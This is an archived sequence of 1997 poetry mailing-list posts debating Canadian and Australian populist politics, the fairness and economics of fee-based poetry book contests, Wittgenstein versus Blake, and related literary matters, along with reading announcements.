I took Andrew John Miller's point to be that Reform (while a reprehensible group) would open the eyes of those in Ottawa to the real needs of the West.

This would be the best thing that could come of Reform, but many worse results seem just as likely.

(I took this kind of warning of likely bad results to be D.P. Salmon's legitimate point, though he stated it in a way that I find extreme and that will alienate those who might have supported him).

Rather than hoping for some good to come of their reprehensible policies, ought we not to mobilize a politically acceptable alternative with which to channel Western discontent?

Robert Archambeau

(Would a backchannel discussion be more appropriate for this topic?)

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774. **amato**
Re: Misrepresenting Canada (my entry for bad writing awards)
Mon 26 May 1997

---

andrew john miller, i can't speak for canada, though i have close relatives in toronto (originally from france, and from quebec), a close friend in winnipeg, doug in alberta, and friends elsewhere... the politics in canada have always been a bit fuzzy to me, perhaps b/c i don't live with them, perhaps b/c i am not as informed as i should be...

but on this side of the border, i do think i grasp what's going on... of course i can appreciate your appeal (as i understand you) to develop a leftist grassroots orientation (about which there are some real activists on this list) that will somehow address the soi-disant centrist-democractic impulses in d.c. (in my view, our best bet at this time, even if woefully deficient)... that is, to develop a populist base for leftist politics equivalent, say, to the christian coalition...

but point in fact: whenever i hear somebody on this side of the border talking about a smaller federal government, i begin to fret... clearly the impulse on the right is to turn over the rei(g)ns to what are only putatively local interests, b/c in fact it's clear, in so many communities in this country, who currently has *power* at the local level... this is what the republicans and ralph reed are banking on (pun intended)... and as far as they're concerned, with the notable exception (however misinformed) of somebody like jack kemp, the inner city can go to blazes...

seems to me that you have to evaluate political possibilities in terms of what is actually going on---which includes the political disparities already in place (in essence this is an issue of power distribution)... i would act, i think, in two ways---from the top down, and from the bottom up... dismantling a central

power base, however compromised, w/o that bottom-up apparatus (sorry!) in place or at least highly visible could be positively lethal, no?... and as far as the u.s. goes, imnsho, you take power away from clinton (or equiv. white house rep) at this moment in time, and (how shall i say this?) you may as well plan on your kids developing expert knowledge of the revised standard version and _the wall street journal_...

i hate to give the impression that i'm operating solely out of fear---but i just don't see the viability of pulling support away from the dems at this moment, or away from some central federal power that at least pays lip-service to leftist agenda (symbolic capital, folks), albeit i'm not certain that you're suggesting we should... in any case i hope things go well for you folks with liberal sentiments and commitments on the other side of the border, where things are not so ostensibly binary...

best,

joe

↑ Index

775. **Pritchett,Pat**
Re: bad writing
Mon 26 May 1997

Henry,

My mistake. I agree with your point, by and large, though I venture to say it doesn't necessarily cancel my own point, which remains this: while we originally read critics & philosophers for their gist alone, as it were, we re-read them - if at all - for the pleasure their writing may afford us. Is this pleasure necessarily different from the pleasures of the poem? For instance, Heidegger's own work on poetry so clearly, it seems to me, begs to be called poetic (at least by him). I think wherever a certain linguistic density accrues - whatever its aims and intents might be - that density announces the appearance, be it ever so nascent, of the"poetic." But you are quite right to assert that analysis differs entirely from the impulse to write a poem, which is a synthetic operation. All I'm saying is, language makes funny things happen. That's what they say in Wyoming anyway, where the raindrops fall as big as your fist and swarm like the Myrmidons from their black-hulled ships.

P.S. - what do you mean exactly by Ariosto singing for his supper? How does that differ from the institutional largesse which so many writers depend on today - unless you're talking about strictly "spiritual" dividends.

Patrick Pritchett

From: henry
To: POETICS
Subject: Re: bad writing
Date: Friday, May 23, 1997 9:34PM

Patrick : interesting, because total, misreading of what I said. Makes me wonder about my own ability to express myself. I don't think all writing aspires to poetry. I think critical analysis & philosophy are distinct activities - they are not poetry. What I was trying to say was that in a democratic world the justification of poetry by means of an academic critique of socio-political structures is the ultimate circus carnival of a self-promotional hyped-up market empire.

Poetry is something else. Closer to Ventadour/Blackburn's concept of the singing heart. But even CLOSER to something more allegorical & literary: Ariosto, for example. Another courtly poet singing for his meals. - Henry Gould

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776. Mark Wallace
three cheers for shameless self-promotion
Mon 26 May 1997

For anyone who's going to be in New York City this weekend, I'm giving a reading Saturday night (May 31) at 8 p.m. at the Poet's Theater, 37 St. Marks Place basement, under the Gap that's on the corner of St. Mark's Place and Second Ave.

Hope I'll see you there.

Mark Wallace

/----------\ |
| | [redacted] | | GWU:
| | http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

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777. David R. Israel
Re: Misrepresenting Canada / Tony Blair
Mon 26 May 1997

David Bromiage wrote --

> *Thatcher's phrase "There is no such thing as society." The practiced detachment of the enormously rich & powerful from "society" in the sense of the whole human endeavor from which they*

> *draw their money & their powe --how do they get away with this w/o challenge from the media & with support from intellectuals? Perhaps Blair's government will alter this would-be market metaphysics in Britain. . . .*

Thus speaking (tangentially) of Blair --

I enjoyed reading James Fenton's article, "The Self-Made Man" in the current issue (dated June 12, 1997) of the New York Review of Books. The article is billed on the cover as "At School with Tony Blair" -- so happens, poet Fenton went to school with Blair for a time, and has some close-range memories & wide-angle reflections to share.

Since I really know/knew nothing about Blair, I found it useful to get this bit of background. Also should note that I'm just beginning to pick up on / tune into the good writing that Fenton has been regularly doing for the New York Review (since, I guess, a long while). For instance -- incidentally -- the just-previous issue has a good article about Sylvia Plath, written by Fenton

best,
d.i.

```
 .
 .....
 ............
 \\\\
```

even though he describes his "zig-zag walk," could not have predicted the varieties of postmodernism & etc. Perhaps we can only veer back toward a source?

"Do not forget that a poem, although it is composed in the language of information, is not used in the language-game of giving information. (L. Wittgenstein, _Zettel_)

[cribbing the above from M. Perloff's new _Wittgenstein's Ladder: Poetic Language and the Strangeness of the Ordinary_, which is so far remarkably clear, if only I knew what I meant by clear.

jd

Joseph Duemer
School of Liberal Arts
Clarkson University
Potsdam NY 13699
Phone: [redacted]
Fax: [redacted]
[redacted]

"The honey of heaven may or may not come,
But that of earth both comes and goes at once."
Wallace Stevens

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779. **amato**
leftist self-promo...
Mon 26 May 1997

---

and while i'm at it: list members may be interested in a short piece by my partner kass fleisher in this month's _z magazine_, "attention shoppers"... you can feed kass back at my address---just put her name "kass" someplace in the subject line and it'll filter into her mailbox...

mark---wish i could be there for your reading... the 31st is my bday and, uhm, whitman's!... i suspect the latter may be worth a nod or two...

best,

joe

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780. **Joseph Duemer**
Re: shameless self-promotion...
Mon 26 May 1997

---

joe:

5.31 is *your* b-day? Mine too. The synchronicity she is running high today! Same name, we both teach at tech-colleges, same date, but I bet I'm older (1951). Well, cheers! I'll raise a beer in your honor.

jd

Joseph Duemer
School of Liberal Arts
Clarkson University
Potsdam NY 13699
Phone: [redacted]
Fax: [redacted]
[redacted]

"The honey of heaven may or may not come,
But that of earth both comes and goes at once."
Wallace Stevens

↑ Index

781. **Joseph Duemer**
Re: shameless self-promotion...
Mon 26 May 1997

---

sorry, anyone who got my b-day greeting to joe amato, it was meant as a private backchannel message sent accidently to the list.

jd
--

Joseph Duemer
School of Liberal Arts
Clarkson University
Potsdam NY 13699
Phone: [redacted]
Fax: [redacted]
[redacted]

"The honey of heaven may or may not come,
But that of earth both comes and goes at once."
Wallace Stevens

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782. **Andrew John Miller**
Re: Misrepresenting Canada
Mon 26 May 1997

I am tempted to respond to Douglas Barbour's latest remarks on a point-by-point basis. I fear, however, that an excessively specific discussion of Canadian politics may alienate and/or bewilder the many non-Canadians on the poetics list (non-Canadians who, for all I know, have already been thoroughly alienated and/or bewildered by the relatively little that has already been said on what, by world standards, is admittedly a somewhat parochial topic).

In an attempt to avoid terminal long-windedness, I shall focus my remarks on an article that appeared in this morning's (May 26th) _Vancouver_Sun_: "Rural residents swinging toward Reform and away from NDP" (available at http://www.vancouversun.com).

At the outset of the article, we are told of a carpenter--currently a Reform supporter--who "complains that big business runs Canada, that free trade isn't free and that multinationals rule the world." A few paragraphs later, we learn that this individual "used to support the [left-leaning] NDP because it 'was for your average working person.'" It seems that he, like many others in his position, no longer finds that the NDP speaks adequately to his interests.

As the article proceeds, it becomes apparent that those who support Reform are indeed afflicted by many of the ailments that have traditionally afflicted the supporters of populist movements: nativism, ethnocentrism, xenophobia, homophobia, anti-intellectualism. At the same time, however, it also becomes apparent that support for Reform is fuelled, above all, by a legitimate and understandable sense that the Canadian political system is not responsive to the concerns of the "average working person."

I would suggest that this sense of powerlessness is something that the left ignores at its own (and ultimately society's) peril. The left (or what's left of it) needs to do more than assert its sense of moral superiority: it needs to speak, in persuasive terms, to those, throughout the world, who find themselves shell-shocked by the effects of accelerated globalization. The left needs to do this, moreover, in a manner that, on the one hand, addresses the legitimate, populist desire for more direct forms of democracy, and that, on the other hand, avoids pandering to the destructive, populist tendency to stigmatize all of those who are somehow alien or different.

I could say a lot more about these matters. I believe, however, that it is high time for me to cease and desist. Still, I cannot resist noting that the issues at stake in contemporary Canadian debates have a much broader range of historical and geopolitical relevance than may at first be apparent. I think, for example, of the hostility that Kenneth Burke encountered when, at the 1933 American Writers' Congress, he suggested that the left needed to think more pragmatically and strategically about its strategies of persuasion: "[O]ne cannot extend the doctrine of revolutionary thought among the middle class," K. Burke argued at that time, "without using middle-class values--just as the Church invariably converted pagans by making the local deities into saints."

I shall close with two, relatively small points. (Those of you who have no taste for Canadian affairs can feel free to tune out at this point.)

First, I want to stress to David Bromige that, in my allusion to Social Credit, I was not attempting to distort the history of BC's (now virtually defunct) Social Credit party. Instead, I was attempting, in an excessively brief and parenthetical fashion, to illustrate the manner in which populist impulses are readily appropriated by those who lack any substantial desire to make government either more responsive or more participatory. (In the Canadian context, the best contemporary example of this form of appropriation is probably the neoconservative authoritarianism of Mike Harris's Ontario government--a government that came into power chanting populist mantras and promising a "commonsense revolution" but that has focused, more than anything else, on limiting the privacy and autonomy of both individual citizens and local municipalities.)

Second, I would like to respond briefly to Douglas Barbour's claim that he does not "want the provincial government [in his home province of Alberta] to have any more power than it already has." I would point out, for one thing, that Alberta's current premier, Ralph Klein, has openly opposed himself to Reform's vision of constitutional reform; Klein, it seems, has federal aspirations--aspirations that may eventually land him a powerful role in that top-heavy, central government to which, it seems, Alberta's marginalized left currently looks for encouragement and relief.

Finally, I would point out that, in the ongoing dispute over BC's salmon-fishing industry, the federal government in Ottawa has been extremely slow to act on behalf of BC's interests. If Ottawa is now at last beginning to move in a decisive fashion (by seizing American fishing boats and by pressing for meaningful negotiations with the Americans), it is doing so only to the extent that BC's (nominally left-wing) NDP government has chosen to act as an autonomous and sovereig power.

When BC's premier, Glen Clark, denied the American navy its traditional access to the testing grounds at Nanoose Bay, he overstepped the limits of the

federal/provincial division of powers. In the process, Clark made it clear that, under the current system of asymmetrical federalism, the only way for western provinces to gain the attention of the central government is to ignore the legal niceties and to proceed with a raw assertion of power. I, for one, would prefer a federal system in which all provinces had adequate federal representation and, as a result, did not find themselves compelled to flout the provisions of both Canadian and international law.

If anyone wants to talk further about Canadian politics, please feel free to backchannel me. In any further communications to the list, I promise to confine myself to matters of a more overtly poetic sort.

Andrew John Miller
[redacted]

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783. **DS**
Re: Canadian Discontents
Mon 26 May 1997

> *(I took this kind of warning of likely bad results to be D.P. Salmon's legitimate point, though he stated it in a way that I find extreme and that will alienate those who might have supported him).*

Actually i was reflecting on current examples of 'grassroots' political movements both here in New Zealand and n Australia. Not wanting to burden the list with yet another regional example i (unsuccessfully - and from the sounds of it offensively - i apologise) tried to allude to this in passing. Unfortunately i came across as merely flippant et al. My intended point was that in the case of these groups - who often do offer certain qualities we associate with the traditional left - it is their racist, xenophobic policies that seem to become their rallying point. & I am sorry - this is unforgiveable to me, regardless of any otherwise-positive social policy. As for accusations of my ignorance re-Caadian politics, i am guilty, but i must ask he who points the finger - (& from whom i would welcome comments on our own political system) just how much he knows about the New Zealand or even the Australian situation.

Your friend Dan (DS)

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784. **David R. Israel**
Re: Canadian Discontents / Aussie developments
Mon 26 May 1997

Dan Salmon wrote,

> *Actually i was reflecting on current examples of 'grassroots' political movements both here in New Zealand and n Australia.*

BTW, what about that Austrailian chap turned expat critic in London & then "major" Time Magazine art critic in New York (since past couple decades) who, according to a recent New Yorker profile, might run for high office in Australia? (Sorry, I forget his name . . .) Is this for real?

Does the bloke seem interesting, from where you sit? Lately saw report of the horrendous-seeming anti-Aboriginal sentiment being drummed up by a woman Oz political figure . . .

here in the states, all this appears vague & sketchy --

d.i.

↑ Index

785. **CHRIS MANN**
Re: Misrepresenting Canada
Mon 26 May 1997

---

1 you invited non canadians to tune out before you got to the bit about the us navy. 2 politics is what? poetry in motion? or are we back at pursuing false distinctions just to keep the nominalists happy?

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786. **DS**
Re: Canadian Discontents / Aussie developments
Mon 26 May 1997

---

wHO? roBERT hUGHES? really? The woman is Pauline Hanson (sp?) & it is not just anti-aboriginal, but perhaps even more so anti immigrant, anti-gay, pro-gun, anti political dissidents - the whole busload. She was one of the people i was refering to previously, having set up the Pauline Hanson party. Have heard her interviewed & was astonished by how un-media savvy & stupid she came across. Can't say much for her supporters. Which seems to be becoming popular.

But then wht would i know, I'm a New Zealander (hence the nz on email adress) & AUstralia is a continent far away from this island.

Dan

> *BTW, what about that Austrailian chap turned expat critic in London & then "major" Time Magazine art critic in New York (since past couple decades) who, according to a recent New Yorker profile, might run for high office in Australia? (Sorry, I forget his name . . .) Is this for real?*

> *Does the bloke seem interesting, from where you sit? Lately saw report of the horrendous-seeming anti-Aboriginal sentiment being drummed up by a woman Oz political figure . . .*
>
> *here in the states, all this appears vague & sketchy --*
>
> *d.i.*

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787. **Steven Marks**

Re: Canadian Discontents / Aussie developments

Mon 26 May 1997

On Tue, 27 May 1997, DS wrote:

> Have heard her
> interviewed & was astonished by how un-media savvy & stupid she came across.
> Can't say much for her supporters. Which seems to be becoming popular.
>
But I've read that this ineptitude with respect to the media is precisely one of the reasons why she is so popular. It's Spiro Agnew deja vu all over again.

Get the media to attack you and that gives you legitimacy in the eyes of supporters. I'm not sure from what I've read if she is aware of what she is doing. But you can be sure somebody in a right-wing think tank knows a good thing when he sees it.

Saw Bobbie Hughes on Charlie Rose the other night. He made a hint that he was still involved politically in Australia. btw, if Bobbo was a poetry critic, then all the early poems of a poet would be good and the later ones would not be anywhere near as good. That's what he had to say about the works of Warhol, de Kooning, and O'Keefe. He may be right, but it sounded like this was a critical schtick that he happened upon and incorporated into his act.

Steven of Vespucci-land

Steven Marks

http://members.aol.com/swmarks/welcome.html

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788. **Piombino/Simon**
Re: Pie Barrage
Mon 26 May 1997

Hello George T,
I fully agree. The study of schizophrenic language, especially with relation to contemporary poetry, is a rich and valuable area. I'm very much looking forward to receiving R. Archambeau's bibliography for his course on avant-garde writing mentioned in another
post. In this regard, I'll mention Harold Searles' valuable discussions of schizophrenic language-see his Collected Papers.
As I promised in my post on Jameson and Perelman,to be fair to their work, I will do my
homework, and get back to you and the list, with some brief quotations, at a later time.
Best wishes,
Nick P.
On Mon, 26 May 1997, George Thompson wrote:

> *In response to Nick P's observations:*
>
> *but as I*
> *remember it many poets I know were astonished some years back when Jameson wrote about postmodern poetry, citing Perelman's poetry as an example of deliberate attempts in poetry to imitate "schizophrenic language." In his recent book discussing so called "language poetry" (a context in which Perelman's mature work, and maybe even his immature work, as a poet emerged) he critiques both Andrews and*
> *Bernstein (here's where would be nicer to quote, and unfortunately I can't at the moment) for being less than coherent, let us say, orderly and meaningful in ways that might have significant and useful social value.*
> *In short, he apparently is accusing them of publishing works that have aspects of being nonsensical!*
>
> *Not having read Jameson's remarks I cannot say what he intended, but it seems to me that an exploration of the language of schizophrenia would be a good thing, an important thing, a meaningful thing, and full of useful social value.*
>
> *Jakobson was fond of the slogan:*
>
> *Linguista sum; linguistici nihil a me alienum puto*
> *[I am a linguist; I consider nothing foreign to me that has to do with language]*
>
> *If you replace "linguista" with "poeta", it works equally well for this*

> *list, no?*
>
> *George Thompson*

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789. **Dan Raphael Dlugonski**
Re: who gets the prizes (wants them)
Mon 26 May 1997

I would just hope that in 'helping their friends' poets like Bernstein and Graham et al would occasionally leave the door open for others who they hadnt taught or had direct connections with, but whose work still strikes them as interesting. Cronyism not only supports a narrow band of poets but also narrow bands of poetry. And remember that in supporting past students and current friends poets/judges are not being unselfish-- prizes and publications lead to teaching and editorial positions which then can often come back to benefit the mentor-poet (as in reading honoraria and publications.)

Back to NEA (threads that wont die), and sillimans great example of how well he used his grant. While perhaps a majority of the list folk have managed to find teaching work, many other writers (m'self including) are grunting away at other jobs andd would relish the ability to buy some freedome (if not dental work.) One odd idea-- do blind screening to assure some level of 'quality,' then pick (37 or however many grants the budget permit) winners at random. And how about building some need criteria for (at least some of) these grants?

dan

"smash the symbols of the Empire in the name of nothing but the heart's longing for grace" Hakim Bey

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790. **Stephen Vincent**
Book Contests/AN IDEA
Mon 26 May 1997

Perhaps like others, no matter
how distinguished the organization
or publisher, I have an
instinctive wariness (weariness?)
about book contests in which
fifteen to twenty-five dollars

are asked to accompany the enclosed
manuscript. It's not that
I necessarily distrust the
need for the money. There
are real labor costs involved
in administering a contest
in which probably an avalanche
of manuscripts must
be processed, promotion
advertisements, readers and
judges must be paid, etc.
And it's highly unlikely that
the sale of the winner's book
will meet these costs. At best
a book's sales will pay for
printing, a bit of promotion
to announce the winners
and pay a prize amount.

And I'm not disposed to think
that the judges will be dishonest.
At least I don't want to think that
such a contest is just a charade,
or a scrim, behind which a judge, or
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he was entering a crap-shoot in
Georgia, didn't know that Marvin Bell
was to be a judge, and it's gratifying
to realize that Marvin Bell was
"worldly" enough to see the worth
of Hoover's work. At the same time.
I've been around enough to know there
are judges that work on a different set
or lack of principles. That prejudice
or curruption -- depending on the
point of view -- can comes
with any such territory.

What does put me off about such contests,
as such, is that I always sense that
they are not particulary productive

publishing adventures. The winning
books, even with the prize sticker
attached, fall into the same limited
distribution work of any other book.
How many of us, for example, will ever
go into a local bookstore and find
Paul Hoover's book. With luck, Borders
or Barnes & Noble will pick it up and
give it wide distribution. At best, the
winner, and perhaps the press, receives
name recognition. And perhaps there
will be reviews. In the meantime, of
the many of us who spent the $25 (I didn't)
only a small fraction of us --
unless we expend real extra effort -
will never see the book!
On one hand, for those who paid
and submitted their manuscripts,
for many the primary experience
and outcome of a contest will be
feelings of rejection, anger, money
mispent, and, at most extreme Kent
Johnson style plots de paranoia.
 On the other hand, from the
point of view of the winning poet
and the publisher, there will be
miminal publically critical or appreciative
response from an actual readership
to the actual book -- responses which
could provide a confirmation that
the winning book is well worth the
prize, that the contest was decently
judged etc.

My IDEA is quite simple. I propose that
when publisher's and/organizations
host a book contest - particularly
when there is a submission fee -
that each entrant will recieve a
copy of the winning book. The unit
printing cost of a 72 to 96 page
paperback poetry book probably

varies between $1.50 and $2.50
at the maximum plus another buck
for handling and fourth class postage.
For 3 or 4 dollars of the manuscript
submission fee, the book would
acquire:
1) a real distribution to an audience
of readers who -- in many cases --
would never see it.

2). This critical readership would
potentially affirm or reject the credibility
of the contest. (At least make it clear
whether you want to try the particular
contest again).

3). On a perhaps more profound level,
both poet and publisher would achieve
a much more valuable recognition in
the poetry community for having made
a genuine contribution to "the art" and
and a develpment of a readership for
the work.

Otherwise, unless I've already over-
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most often left blind in the dark,
full of one real or imaginary plaint,
and the winner goes often unread,
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Perhaps publishers -- such as Doug Messerli
at Sun and Moon -- could respond to
this proposal. Essentially
the idea is asking for a change from "submission"
to "reciprocation" between poets (entrants)
and publishers/or organizations.

I think it would be to the profit
of everyone involved.

Cheers,
Stephen Vincent

.

↑ Index

791. Joseph Duemer
wittgenstein & blake
Mon 26 May 1997

Wittgenstein: "What cannot be imagined cannot even be talked about." (_Tractatus_ 5.61)

Blake: "Everything that can be imagined is an image of the truth." (_The Marriage of Heaven and Hell_, quoted from memory)

Opposing positions? Parallel? The same?
--

Joseph Duemer
School of Liberal Arts
Clarkson University
Potsdam NY 13699
Phone: [redacted]
Fax: [redacted]
[redacted]

"The honey of heaven may or may not come,
But that of earth both comes and goes at once."
Wallace Stevens

↑ Index

792. Mark Weiss
Re: Book Contests/AN IDEA
Mon 26 May 1997

Stephen--as your publisher I think it's a great idea, with one exception--the economics. It costs Junction Press about $2000 to typeset and print a run of 1000 copies of a 72 to 96 page book if I typeset and design myself without remuneration. That would come out to $2.00 per copy if all copies were for sale. But 1/10 of the run goes to the poet as royalty, and 100 to 150 go as review copies or freebies. That leaves, say, 750 copies. Perhaps fifty of those will be returned by bookstores damaged beyond salability. That leaves 700 copies which, at say $10.00 per, could net between $4,200 and $7,000 if every book were sold. But let's be real--to sell the entire run can take years if it ever comes to pass. So let's be optimistic and say that the run nets $3000-5000 dollars, which would be a profit of $1000-3000, except that other expenses--permissions for cover art, software, office supplies, storage, advertizing, and I've probably forgotten a few

others--eat a big piece of that pie. What's left, one hopes, may offset part of the expenses for the next book. But not if a contest has acquired them for what is essentially fund-raising premiums at $2.00 a copy. If those who ran contests saw their goal as the support of publishers as well as writers they would buy the books at 40% bookstore discount. Of course this would cut into the take for the contest's expenses. But why not? Shouldn't an institution that touts its image with an eponymous contest pay something for the advertizing? Should they be exempt from the costs of the charitable efforts that both unpaid poets and publishers support? Should they be subsidized by publishers as well as by poets who pay for the privilege of having their work considered?

For the record, I have never and probably never will submitted work to a contest that carries a price tag. I think that the practice is insulting, and the chances for gain are considerably less than say plunking the dough on double 0 in Vegas.

> *My IDEA is quite simple. I propose that when publisher's and/organizations host a book contest - particularly when there is a submission fee - that each entrant will recieve a copy of the winning book. The unit printing cost of a 72 to 96 page paperback poetry book probably varies between $1.50 and $2.50 at the maximum plus another buck for handling and fourth class postage. For 3 or 4 dollars of the manuscript submission fee, the book would acquire:*
> *1) a real distribution to an audience of readers who -- in many cases -- would never see it.*
>
> *2). This critical readership would potentially affirm or reject the credibility of the contest. (At least make it clear whether you want to try the particular contest again).*
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> *3). On a perhaps more profound level, both poet and publisher would achieve a much more valuable recognition in the poetry community for having made a genuine contribution to "the art" and and a develpment of a readership for*

> *the work.*
>
> *Otherwise, unless I've already over-*
> *stressed the point, "the losers" are*
> *most often left blind in the dark,*
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> *this proposal. Essentially*
> *the idea is asking for a change from "submission"*
> *to "reciprocation" between poets (entrants)*
> *and publishers/or organizations.*
>
> *I think it would be to the profit*
> *of everyone involved.*
>
> *Cheers,*
> *Stephen Vincent*
>
> .

↑ Index

793. **Joseph Duemer**

Music & poetry

Tue 27 May 1997

Who was it suggested the trivium of poetry / philosophy / music? A beautiful and resonant triangle (which instrument I played in my grammar school orchestra).

Anyway, for an on-going bibliographic project, could people backchannel me with information on musical/text collaborations that have resulted in documented performances, books, scores, etc. Time period:1978-2001. Many

thanks in advance. --

Joseph Duemer
School of Liberal Arts
Clarkson University
Potsdam NY 13699
Phone: [redacted]
Fax: [redacted]
[redacted]

"The honey of heaven may or may not come,
But that of earth both comes and goes at once."
Wallace Stevens

↑ Index

794. **dbkk**

Re: Book Contests/AN IDEA

Tue 27 May 1997

> *Perhaps like others, no matter*
> *how distinguished the organization*
> *or publisher, I have an*
> *instinctive wariness (weariness?)*
> *about book contests in which*
> *fifteen to twenty-five dollars*
> *are asked to accompany the enclosed*
> *manuscript. It's not that*
> *I necessarily distrust the*
> *need for the money. There*
> *are real labor costs involved*
> *in administering a contest*
> *in which probably an avalanche*
> *of manuscripts must*
> *be processed, promotion*
> *advertisements, readers and*
> *judges must be paid, etc.*
> *And it's highly unlikely that*
> *the sale of the winner's book*
> *will meet these costs. At best*
> *a book's sales will pay for*
> *printing, a bit of promotion*
> *to announce the winners*
> *and pay a prize amount.*
>
> *And I'm not disposed to think*
> *that the judges will be dishonest.*

> *At least I don't want to think that*
> *such a contest is just a charade,*
> *or a scrim, behind which a judge, or*
> *judges will pick one winner out*
> *of a preset possible five or six*
> *choices.*

Actually, when I sent my "novel," _The Letters of Mina Harker_, to Sun & Moon, DM informed me that it would have to be entered as part of the fiction contest, and that I should pay $25 to have it read, something I was resistant to. But he added something about how "excellent" my manuscript was and how there weren't that many entries and that it would be judged by an outside judge with aesthetics similar to mine.

So, grudgingly, I sent in the money.

Then, a while later, the winner of the "contest" was announced to the Poetics List--long before I received any notification (tacky?), and it was given to someone I never heard of--and DM HIMSELF was the judge. I feel that I should have had my $25 refunded since there was no outside judge and the "contest" was misrepresented to me.

Dodie

↑ Index

795. **Brent Long**
Re: Book Contests/AN IDEA
Tue 27 May 1997

Stephen Vincent wrote:
>
> Perhaps like others, no matter
> how distinguished the organization
> or publisher, I have an
> instinctive wariness (weariness?)
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> fifteen to twenty-five dollars
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> such a contest is just a charade,
> or a scrim, behind which a judge, or
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> he was entering a crap-shoot in
> Georgia, didn't know that Marvin Bell
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> to realize that Marvin Bell was
> "worldly" enough to see the worth
> of Hoover's work. At the same time.
> I've been around enough to know there
> are judges that work on a different set
> or lack of principles. That prejudice
> or curruption -- depending on the
> point of view -- can comes
> with any such territory.
>
> What does put me off about such contests,
> as such, is that I always sense that
> they are not particulary productive
> publishing adventures. The winning
> books, even with the prize sticker
> attached, fall into the same limited
> distribution work of any other book.
> How many of us, for example, will ever
> go into a local bookstore and find
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> the many of us who spent the $25 (I didn't)
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> On one hand, for those who paid
> and submitted their manuscripts,
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> and outcome of a contest will be
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> point of view of the winning poet
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> prize, that the contest was decently
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> My IDEA is quite simple. I propose that
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> the idea is asking for a change from "submission"
> to "reciprocation" between poets (entrants)
> and publishers/or organizations.
>
> I think it would be to the profit
> of everyone involved.
>
> Cheers,
> Stephen Vincent
>
>
I agree wholeheartedly with Stephen's ideas concerning both these types of contests, and what can be done about it to ensure a feeling of

legitimacy concerning them. I hope those who are sponsoring such contests will pay close attention to what Stephen has suggested.

Brent Long

↑ Index

796. **Mark Weiss**
Re: Book Contests/AN IDEA
Tue 27 May 1997

I'm more than a little uncomfortable with accusations of fraud flying around on this public a forum. As a publisher I know that the best of intentions are often thwarted by circumstance, particularly by the pressures of scheduling, and I'm inclined to give the benefit of the doubt. This feels like DM is being publicly challenged to justify his behavior; I'm not sure how, or if, I'd respond if I were in his place. But given the number of books he publishes a year this would be a surprising way to pick up small change.

Be that as it may, it has occured to me that contests can be a dandy way for a press to raise funds. If only a hundred $25 submissions are received that's $2500. I could do a perfectly respectable edition of 1000 on lighter paper than I usually use and with a black and white cover for c. $1500. As to the labor of reading 100 ms., especially poetry, most submissions fall into the category of immediate dismissal, after the first half dozen lines, either because they're ghastly or because they're not to my taste. So a hundred submissions could probably be narrowed down very very quickly. 200 would take longer, but the swag would certainly be worth the trouble.

Probably most contests are established and run ethically, whatever the use or merit of contests may be, but I have no doubt that other publishers less scrupulous than I am have figured out the above mathematics. Caveat emptor.

> *Actually, when I sent my "novel," _The Letters of Mina Harker_, to Sun & Moon, DM informed me that it would have to be entered as part of the fiction contest, and that I should pay $25 to have it read, something I was resistant to. But he added something about how "excellent" my manuscript was and how there weren't that many entries and that it would be judged by an outside judge with aesthetics similar to mine.*
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> *So, grudgingly, I sent in the money.*
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> *Dodie*

↑ Index

797. **George Bowering**
Re: shameless self-promotion...
Tue 27 May 1997

> *joe:*
>
> *5.31 is *your* b-day? Mine too. The synchronicity she is running high today! Same name, we both teach at tech-colleges, same date, but I bet I'm older (1951). Well, cheers! I'll raise a beer in your honor.*
>
> *jd*
>
> ____

Hey, if 5.31 is what the rest of the world calls 31.5, well, that's my kid brother's birthday, too.

George Bowering.
,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

798. **David Bromige**
shameless....
Tue 27 May 1997

yeah, George, but is his name Joe?

↑ Index

799. **dbkk**
Re: Book Contests/AN IDEA
Tue 27 May 1997

At 12:02 AM -0700 5/27/97, Mark Weiss wrote:
>I'm more than a little uncomfortable with accusations of fraud flying around
>on this public a forum. As a publisher I know that the best of intentions

>are often thwarted by circumstance, particularly by the pressures of
>scheduling, and I'm inclined to give the benefit of the doubt. This feels
>like DM is being publicly challenged to justify his behavior; I'm not sure
>how, or if, I'd respond if I were in his place. But given the number of
>books he publishes a year this would be a surprising way to pick up small
>change.

No public challenge, just an accounting of what happened to *me*. I don't think "outside judge" means the press' publisher. And DM was very specific to me that he wouldn't be the one deciding.

Dodie

↑ Index

800. Daniel Zimmerman
Re: wittgenstein & blake
Tue 27 May 1997

Joseph Duemer wrote:
>
> Wittgenstein: "What cannot be imagined cannot even be talked about."
> (_Tractatus_ 5.61)
>
> Blake: "Everything that can be imagined is an image of the truth." (_The
> Marriage of Heaven and Hell_, quoted from memory)
>
> Opposing positions? Parallel? The same?
> --
> _____
>
> Joseph Duemer
> School of Liberal Arts
> Clarkson University
> Potsdam NY 13699
> Phone: [redacted]
> Fax: [redacted]
> [redacted]
>
> "The honey of heaven may or may not come,
> But that of earth both comes and goes at once."
> Wallace Stevens

Contraries. But what can one not imagine, or what imagination cannot insinuate itself into anyone? [A post facto, redundant point--i.e., like saying that if you

imagined something you imagined it--though it seems to me that Blake's circumlocution suggests that one may see anything as an "image of truth."]

Dan Zimmerman

↑ Index

801. **henry gould**
Re: Pie Barrage
Tue 27 May 1997

Heard on a jazz interview over the weekend on the radio, a longtime professional bass player who said, "when you get to the point where it seems like you're about to lose your mind - that's when the playing gets good" - Henry G.

furor poeticus[?]

↑ Index

802. **CHRIS MANN**
Re: wittgenstein & blake
Tue 27 May 1997

---

talking to find out what you think is not a new idea. they used to call it thinking out loud. freud called something else the talking cure. there is also the story that before god created the world he read the torah. this is a position?

On Mon, 26 May 1997, Joseph Duemer wrote:

> *Wittgenstein: "What cannot be imagined cannot even be talked about." (_Tractatus_ 5.61)*
>
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> *--*
>
> ---
>
> *Joseph Duemer*
> *School of Liberal Arts*
> *Clarkson University*
> *Potsdam NY 13699*
> *Phone:* [redacted]
> *Fax:* [redacted]
> [redacted]
>
> *"The honey of heaven may or may not come,*
> *But that of earth both comes and goes at once."*

> *Wallace Stevens*

↑ Index

803. **Mark Prejsnar**
Re: Pie Barrage
Tue 27 May 1997

On Sun, 25 May 1997, Piombino/Simon wrote:

> *Perelman's mature work, and maybe even his immature work, as a poet emerged) he critiques both Andrews and*
> *Bernstein (here's where would be nicer to quote, and unfortunately*
> *I can't at the moment) for being less than coherent, let us say, orderly*
> *and meaningful in ways that might have significant and useful social*
> *value.*
> *In short, he apparently is accusing them of publishing works that have*
